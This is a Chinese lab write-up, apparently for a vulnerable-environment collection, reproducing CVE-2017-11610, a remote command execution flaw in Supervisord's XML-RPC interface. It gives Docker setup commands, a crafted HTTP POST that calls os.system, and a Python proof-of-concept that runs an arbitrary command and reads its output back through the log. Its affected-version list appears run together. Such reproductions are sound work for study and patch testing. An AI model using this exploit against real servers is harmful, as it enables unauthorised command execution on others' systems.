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Supervisord XML-RPC 远程命令执行漏洞CVE-2017-11610

Supervisord 是一个用于 Unix 类操作系统的进程控制系统。

在 Supervisord 3.0.13.1.43.2.43.3.3 版本之前,在其 XML-RPC 接口中存在一个远程代码执行漏洞,攻击者可以通过特制的 XML-RPC 请求执行任意命令。

参考链接:

环境搭建

执行如下命令启动 Supervisord 3.3.2

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:9001即可查看Supervisord的页面。

漏洞复现

发送如下请求,即可执行任意命令:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

关于直接回显的POC

@Ricter 在微博上提出的一个思路甚是有效就是将命令执行的结果写入log文件中再调用Supervisord自带的readLog方法读取log文件将结果读出来。

写了个简单的POC poc.py

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用Python3执行并获取结果./poc.py "http://your-ip:9001/RPC2" "command"